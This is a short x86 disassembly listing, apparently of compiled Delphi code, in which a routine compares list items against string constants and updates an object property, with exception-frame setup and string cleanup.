xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x884c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x884c]
mov edx, 0x49696c
call fcn.00404efc
jne 0x496051
xor eax, eax
push ebp
push 0x49603d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8854]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8854]
lea edx, [ebp - 0x8850]
call fcn.00408ee0
mov eax, dword [ebp - 0x8850]
push eax
lea edx, [ebp - 0x885c]
mov eax, dword [ebp - 4]
call fcn.004908a8
mov eax, dword [ebp - 0x885c]
lea edx, [ebp - 0x8858]
call fcn.00408ee0
mov edx, dword [ebp - 0x8858]
pop eax
call fcn.004050f4
test eax, eax
jle 0x496033
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov edx, 0x4968ac
mov ecx, dword [eax]
call dword [ecx + 0x78]
push 0x4968bc
lea edx, [ebp - 0x8860]
mov eax, dword [0x4a59e0]
call fcn.00409218
push dword [ebp - 0x8860]
push 0x4968cc
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00404e78
mov ecx, 0x496154
lea eax, [ebp - 0x8864]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8864]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496047
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8868]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8868]
mov edx, 0x496978
call fcn.00404efc
jne 0x496080
mov eax, dword [ebp - 4]
call fcn.00499048
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496103
lea eax, [ebp - 0x8868]
mov edx, 0x5d
call fcn.00404b24
lea eax, [ebp - 0x85f4]
mov edx, 7
call fcn.00404b24
lea eax, [ebp - 0x85d8]
mov edx, 0x64
call fcn.00404b24
lea eax, [ebp - 0x8448]
mov edx, 0x3c
call fcn.00404b24
lea eax, [ebp - 0x3c]
mov edx, 4
call fcn.00404b24
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404b24
ret